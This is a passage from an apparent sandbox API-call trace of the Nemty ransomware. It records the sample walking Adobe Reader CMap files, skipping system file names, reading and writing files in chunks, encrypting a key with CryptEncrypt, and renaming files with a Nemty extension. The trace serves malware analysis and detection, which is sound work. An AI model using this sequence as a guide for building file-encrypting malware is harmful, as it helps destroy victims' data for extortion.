hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.719] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.729] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.729] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.738] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.738] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.747] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.747] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.766] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.766] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.766] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.766] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.776] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.776] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.792] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.792] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0211.804] CloseHandle (hObject=0xffffffff) returned 0 [0211.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0211.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0211.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0211.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0211.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0211.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0211.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0211.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0211.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0211.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0211.805] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-utf16-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniCNS-UTF16-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unicns-utf16-v._nemty_kgobjgd_")) returned 0 [0211.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0211.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0211.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0211.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0211.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0211.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0211.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0211.805] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x46805, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UCS2-H", cAlternateFileName="UNIGB-~2")) returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2=".") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="..") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="...") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="windows") returned -1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="$RECYCLE.BIN") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="rsa") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="NTDETECT.COM") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="ntldr") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="MSDOS.SYS") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="IO.SYS") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="boot.ini") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="boot.ini") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="AUTOEXEC.BAT") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="ntuser.dat") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="desktop.ini") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="CONFIG.SYS") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="RECYCLER") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="BOOTSECT.BAK") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="bootmgr") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="programdata") returned 1 [0211.805] lstrcmpiW (lpString1="UniGB-UCS2-H", lpString2="appdata") returned 1 [0211.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UCS2-H", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0211.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UCS2-H", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniGB-UCS2-H", lpUsedDefaultChar=0x0) returned 12 [0211.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0211.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UCS2-H", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0211.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UCS2-H", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniGB-UCS2-H", lpUsedDefaultChar=0x0) returned 12 [0211.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0211.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UCS2-H", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0211.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UCS2-H", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniGB-UCS2-H", lpUsedDefaultChar=0x0) returned 12 [0211.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UCS2-H", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0211.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UCS2-H", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniGB-UCS2-H", lpUsedDefaultChar=0x0) returned 12 [0211.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0211.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0211.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0211.806] Sleep (dwMilliseconds=0x5) [0211.815] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31e39110, dwHighDateTime=0x1d561e8)) [0211.815] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31e39110, dwHighDateTime=0x1d561e8)) [0211.815] GetLastError () returned 0x5 [0211.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0211.815] GetLastError () returned 0x5 [0211.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0211.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0211.815] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0211.815] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0211.815] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0211.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0211.815] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="vCzgtOgez22zGNiR5R3G/SgVnkf7pdEEd38eho45aP/z+TR9KJPD7STS5RecYU4H\r\nBnPLKHwuziDBAh4ntYQWwktR/PbZ4MaPLKhId5aMRn4mWPQBGP6Aqm/0/14CFiwd\r\n866M/r2/JO6IHXEdsrGrWJX7Sz8qLcDMkIB9dMar8lIhf2Nx8KumPAbq76bSEa8Y\r\nfCRtoEorAeNNhdJIyG3O0twnek1+ysilfHUjJT9prXZ872wSh3mrr0N0rCTkkkQG\r\nHiZmamm1l24b8XLjcnX/wYRCYTLmuMpTRBqyZVNSJfTx1astzo5cVJ8HnzZPxsEQ\r\nVIY3TiUBopDPxezNPUNQjg==\r\n", pcchString=0x653e91c) returned 1 [0211.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0211.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0211.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0211.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0211.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0211.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0211.815] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-ucs2-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.816] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0211.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0211.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.816] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.825] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.825] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.835] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.844] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.844] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.844] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.844] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.853] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.853] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.863] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.863] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.863] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.863] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.872] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.872] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, 